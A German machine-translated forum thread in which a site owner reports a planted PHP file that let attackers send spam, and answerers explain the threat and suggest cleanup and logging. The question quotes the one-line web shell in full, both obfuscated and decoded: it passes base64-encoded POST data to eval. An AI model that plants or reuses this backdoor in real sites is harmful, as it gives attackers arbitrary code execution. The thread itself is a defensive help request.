Schädliche PHP-Datei auf meinem Webserver gefunden, brauche Hilfe beim Säubern und Verhindern, dass dies erneut passiert [closed]

Lesezeit: 5 Minuten

Mein Hosting-Provider hat kürzlich meine Website gesperrt, weil irgendetwas darauf enorme Mengen an Spam-E-Mails verschickte. Ursprünglich dachten ich und der Anbieter, dass dies an einem ungesicherten Formular für eine E-Mail-Kampagne lag, die ich einige Tage zuvor auf dem Server eingerichtet hatte. Ich habe die Seite mit dem Formular vom Server entfernt, aber der Server sendet immer noch Spam-E-Mails.

Ich habe eine PHP-Datei namens 7c32.php im Ordner “css” im Stammverzeichnis des Servers gefunden. Ich habe es definitiv nicht geschafft. Hier ist der Code, der in der Datei war:

<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>

Nachdem es durch einen Online-Decoder gelaufen war, kam Folgendes heraus:

if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));

Ich habe etwas über bösartige PHP-Dateien gelesen und festgestellt, dass die Zeichenfolgen eval( und base64_decode höchst verdächtig waren. Ich habe die Serverprotokolldatei durchgesehen und mehrere Post-Abfragen mit dieser 7c32.php-Datei gesehen, die von einer IP-Adresse aus Saudi-Arabien stammen.

Ich habe die PHP-Datei gelöscht, alle veralteten WordPress-Designs und -Plugins (sowie die Plattform selbst) aktualisiert und das Passwort für den FTP-Server und das WordPress-Verwaltungskonto auf etwas viel Sichereres geändert.

Kann ich sonst noch etwas tun, um sicherzustellen, dass mein Server sicher ist? Ich bin dabei, in jeder anderen PHP-Datei auf dem Server nach diesen base64- und eval(-Strings zu suchen, aber ansonsten habe ich keine Ideen mehr.

Dieses PHP-Skript scheint etwas zu kurz zu sein, um Schaden anzurichten, aber was kann sonst all diese Spam-Mails versenden?

Jede Hilfe wäre sehr willkommen.

  • Wenn Sie die Datei gelöscht und Ihre WP-Designs aktualisiert haben, würde ich sagen, es gibt nicht viel zu tun, schützen Sie einfach Ihre Website, indem Sie die Upload-/Berechtigungserlaubnis für Ihre Ordner verweigern.

    – Samayo

    4. Juni 2013 um 5:24 Uhr


  • Duplikat von: Wie entferne ich eval-base64_decode wie PHP-Virendateien?

    – kenorb

    27. Mai 2016 um 15:08 Uhr

eval() ist ein sehr gefährliches kleines Sprachkonstrukt, da es praktisch jeden PHP-Code ausführen kann, der ihm als Zeichenfolge übergeben wird. Es könnte also durchaus sein, dass das Skript die E-Mail sendet, obwohl das Versenden von Spam eigentlich ziemlich zerstörungsfrei ist eval() könnte tun.

Wenn Ihre Seite die Berechtigung hatte, jede Datei in Ihrem Webstamm zu löschen, eval() wäre auch in der Lage, es zu tun, indem jemand einfach den richtigen Befehl per POST an das Skript sendet.

Wenn Sie wirklich sicherstellen möchten, dass es sich um dieses Stück Code handelt, das die E-Mail versendet, legen Sie es zurück, aber ändern Sie es zu Ihrem Vorteil. Verhindern Sie die Verwendung eval() und speichern Sie stattdessen die POST-Daten in einer Datenbank oder Textdatei. Nur so wissen Sie genau, wofür dieser Code verwendet wird.

  • Könnten Sie mir bitte sagen, wie das geht, ich habe absolut keine Erfahrung mit PHP, ich lerne nur auf die harte Tour. Herauszufinden, ob dies der Code ist, der den Spam versendet, wäre erstaunlich.

    – Boguslawski

    4. Juni 2013 um 5:32 Uhr


  • Probieren Sie diese Codezeile anstelle des Inhalts aus: <?php if(isset($_POST["code"])){$log = fopen("malLog", "a");fwrite($log, base64_encode($_POST["code"]) . "\n");fclose($log);}?>. Bei jedem Zugriff auf die Seite wird versucht, eine Datei namens “malLog” zu öffnen (oder zu erstellen) und die Zeichenfolge hineinzuschreiben, die der vorherige schlechte Code versucht hat eval(). Ich kann nicht garantieren, dass es funktioniert, ich bin auf der Uhr und habe gerade keine Zeit, es richtig zu testen.

    – Ken Herbert

    4. Juni 2013 um 5:47 Uhr

Dieses PHP-Skript scheint etwas zu kurz zu sein, um Schaden anzurichten, aber was kann sonst all diese Spam-Mails versenden?

Wieso glauben Sie, dass dieser Code zu kurz ist, um ihn zu beschädigen? Es ist der schlechtestmögliche Code da mit bewerten()

Das Sprachkonstrukt eval() ist sehr gefährlich, da es die Ausführung von beliebigem PHP-Code erlaubt. Von seiner Verwendung wird daher abgeraten. Wenn Sie sorgfältig überprüft haben, dass es keine andere Möglichkeit gibt, als dieses Konstrukt zu verwenden, achten Sie besonders darauf, keine vom Benutzer bereitgestellten Daten daran zu übergeben, ohne es vorher ordnungsgemäß zu validieren.

Sie können damit jeden beliebigen PHP-Code ausführen too short Code. Eva ist BÖSE. Datei-Upload-Berechtigungen nicht ohne Validierung zulassen

aber was kann sonst all diese Spam-Mails versenden?

Derselbe Bewertungscode sendet E-Mails. Sie senden E-Mail-Code an ihn und er führt ihn wiederum aus und versendet die E-Mail

  • Ah, jetzt verstehe ich. Ich habe überhaupt keine Erfahrung mit PHP, also verstand ich kaum, was ich sah. Wie kann ich den Server anweisen, Datei-Upload-Berechtigungen ohne Validierung zu verweigern?

    – Boguslawski

    4. Juni 2013 um 5:34 Uhr

  • Stellen Sie zunächst Ihre Verzeichnisberechtigungen auf Nur lesen, damit kein Upload möglich ist. Zweitens überprüfen Sie alle Ihre Datei-Upload-Codes und / oder posten Sie sie hier, um zu diskutieren, welche Fehler diese haben könnten. Wann immer Sie Eingaben von Benutzern erhalten, müssen Sie versuchen, diese zu bereinigen und nicht unverändert auf dem Server zu speichern. Diese Lücke muss sich in Ihrem Datei-Upload-Formular befinden

    – Hanky ​​Panky

    4. Juni 2013 um 5:35 Uhr

  • Ok, ich bin in Filezilla gegangen, habe alle drei Verzeichnisse im Stammverzeichnis ausgewählt und die folgenden Berechtigungen angewendet (alles außer Lesen deaktiviert) i.imgur.com/mklzSfQ.png Verzeihen Sie meine Unwissenheit, aber was genau sind Datei-Upload-Codes? Danke übrigens für all eure Hilfe.

    – Boguslawski

    4. Juni 2013 um 5:45 Uhr

  • Ich meine, haben Sie irgendeinen HTML- oder PHP-Code drin, wo Sie Benutzern erlauben, jede Datei hochzuladen? oder hast du ein script etc installiert?

    – Hanky ​​Panky

    4. Juni 2013 um 5:46 Uhr

  • Nein, definitiv nicht. Die einzigen Uploads erfolgen über FTP. Zwei Fragen: Muss ich die Berechtigungen erneut ändern, um neue Dinge auf den Server hochzuladen? Kann ich es so machen, dass nur ich Dinge über FTP hochladen kann?

    – Boguslawski

    4. Juni 2013 um 5:49 Uhr


1386120cookie-checkSchädliche PHP-Datei auf meinem Webserver gefunden, brauche Hilfe beim Säubern und Verhindern, dass dies erneut passiert [closed]

This website is using cookies to improve the user-friendliness. You agree by using the website further.

Privacy policy